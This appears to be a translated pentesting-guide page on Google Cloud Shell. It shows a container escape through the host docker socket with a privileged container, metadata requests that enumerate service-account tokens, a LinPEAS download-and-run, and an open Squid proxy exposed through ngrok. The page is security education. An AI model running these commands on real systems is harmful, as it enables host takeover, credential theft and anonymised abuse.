Cloud Shell
有关 Cloud Shell 的更多信息,请查看:
GCP - Cloud Shell Enum容器逃逸
请注意,Google Cloud Shell 运行在一个容器内,您可以通过以下方式轻松逃逸到主机:
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
这并不被谷歌视为漏洞,但它让你更全面地了解该环境中发生的事情。
此外,请注意,从主机上你可以找到一个服务账户令牌:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
具有以下范围:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
使用 LinPEAS 枚举元数据:
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
在使用 https://github.com/carlospolop/bf_my_gcp_permissions 和服务账户的令牌后,没有发现权限...
将其用作代理
如果您想将您的 Google Cloud Shell 实例用作代理,您需要运行以下命令(或将其插入 .bashrc 文件中):
sudo apt install -y squid
只是让你知道,Squid 是一个 HTTP 代理服务器。创建一个 squid.conf 文件,使用以下设置:
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
将 squid.conf 文件复制到 /etc/squid
sudo cp squid.conf /etc/squid
最后运行 squid 服务:
sudo service squid start
使用 ngrok 使代理可以从外部访问:
在运行后复制 tcp:// URL。如果您想从浏览器运行代理,建议去掉 tcp:// 部分和端口,并将端口放入浏览器代理设置的端口字段中(squid 是一个 http 代理服务器)。
为了在启动时更好地使用,.bashrc 文件应包含以下行:
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
这些说明来自 https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key。请查看该页面以获取在 Cloud Shell 中运行任何类型软件(数据库甚至 Windows)的其他疯狂想法。